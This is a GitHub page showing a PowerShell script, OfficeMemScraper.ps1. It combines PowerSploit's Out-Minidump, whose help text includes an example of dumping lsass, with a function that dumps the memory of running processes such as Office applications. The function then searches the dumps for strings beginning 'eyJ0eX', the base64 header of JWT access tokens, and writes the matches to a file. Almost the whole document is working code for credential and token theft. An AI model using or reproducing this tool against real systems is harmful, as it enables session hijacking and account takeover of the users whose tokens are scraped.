Misc-Powershell-Scripts / OfficeMemScraper.ps1

185 lines (137 loc) · 5.04 KB

Code Blame Raw

```
1
2   function Out-Minidump
3   {
4       # sourced from the PowerSploit project: https://github.com/mattifestation/PowerSploit/blob/mast
5       [CmdletBinding()]
6   Param (
7
8       [Parameter(Position = 0, Mandatory = $False, ValueFromPipeline = $True)]
9       [String]
10      $Proc,
11
12      [Parameter(Position = 1)]
13      [ValidateScript({ Test-Path $_ })]
14      [String]
15      $DumpFilePath = $PWD,
16
17      [Parameter(Mandatory=$false)]
18      [String]$LogHost,
19
20      [Parameter(Mandatory=$false)]
21      [string[]]$User,
22
23      [Parameter(Mandatory=$false)]
24      [Switch]$NumsOnly = $False,
25
26      [Parameter(Mandatory=$false)]
```

```
27          [Switch]$Logging,
28
29          [Parameter(Mandatory=$false)]
30          [String]$Bin
31      )
32      <#
33      .SYNOPSIS
34
35          Generates a full-memory minidump of a process.
36
37          PowerSploit Function: Out-Minidump
38          Author: Matthew Graeber (@mattifestation)
39          License: BSD 3-Clause
40          Required Dependencies: None
41          Optional Dependencies: None
42
43      .DESCRIPTION
44
45          Out-Minidump writes a process dump file with all process memory to disk.
46          This is similar to running procdump.exe with the '-ma' switch.
47
48      .PARAMETER Process
49
50          Specifies the process for which a dump will be generated. The process object
51          is obtained with Get-Process.
52
53      .PARAMETER DumpFilePath
54
55          Specifies the path where dump files will be written. By default, dump files
56          are written to the current working directory. Dump file names take following
57          form: processname_id.dmp
58
59      .EXAMPLE
60
61          Out-Minidump -Process (Get-Process -Id 4293)
62
63          Description
64          -----------
65          Generate a minidump for process ID 4293.
66
67      .EXAMPLE
68
69          Get-Process lsass | Out-Minidump
70
71          Description
72          -----------
```

```
        Generate a minidump for the lsass process. Note: To dump lsass, you must be
        running from an elevated prompt.

    .EXAMPLE

        Get-Process | Out-Minidump -DumpFilePath C:\temp

        Description
        -----------
        Generate a minidump of all running processes and save them to C:\temp.

    .INPUTS

        System.Diagnostics.Process

        You can pipe a process object to Out-Minidump.

    .OUTPUTS

        System.IO.FileInfo

    .LINK

        http://www.exploit-monday.com/
    #>



        BEGIN
        {
            $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
            $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
            $Flags = [Reflection.BindingFlags] 'NonPublic, Static'
            $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
            $MiniDumpWithFullMemory = [UInt32] 2
        }

        PROCESS
        {
            $Process = $p
            $ProcessId = $Process.Id
            $ProcessName = $Process.Name
            $ProcessHandle = $Process.Handle
            $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"

            $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
```

```
            $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName

            $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)

            $Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
                                                         $ProcessId,
                                                         $FileStream.SafeFileHandle,
                                                         $MiniDumpWithFullMemory,
                                                         [IntPtr]::Zero,
                                                         [IntPtr]::Zero,
                                                         [IntPtr]::Zero))

            $FileStream.Close()

            if (-not $Result)
            {
                $Exception = New-Object ComponentModel.Win32Exception
                $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"

                # Remove any partially written dump files. For example, a partial dump will be written
                # in the case when 32-bit PowerShell tries to dump a 64-bit process.
                Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue

                throw $ExceptionMessage
            }
            else
            {
                Get-ChildItem $ProcessDumpPath
            }
        }

        END {}
    }
    function Invoke-OfficeScrape {
     # Inspired by https://twitter.com/mrd0x/status/1571533895744606211
        [CmdletBinding()]
        Param (
            [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
            [String]
            $Proc,

            [Parameter()]
            [String]
            $Outfile

        )
```

```
164         # Save memory dump to current directory
165         $dest = $PWD
166
167         Write-Output "Starting Scraper"
168
169             $Procs = Get-Process $Proc -ErrorAction SilentlyContinue #| Select -Property Responding
170             if ($Procs) {
171                 Write-Output "Target process is running. Dumping memory..."
172                 foreach ($p in $Procs) {
173                     Out-Minidump -DumpFilePath $dest
174                 }
175                 $dumps = Get-ChildItem -Path $dest -Filter *.dmp | select FullName
176                 foreach ($d in $dumps) {
177                     Write-Output "Scraping memory dump: $($d.FullName)"
178                     $output = select-string -Path $d.FullName -Pattern eyJ0eX
179                     $output | out-file -append -encoding ascii $outfile
180                 }
181             }
182             else {
183                 Write-Output "Target process not running"
184             }
185         }
```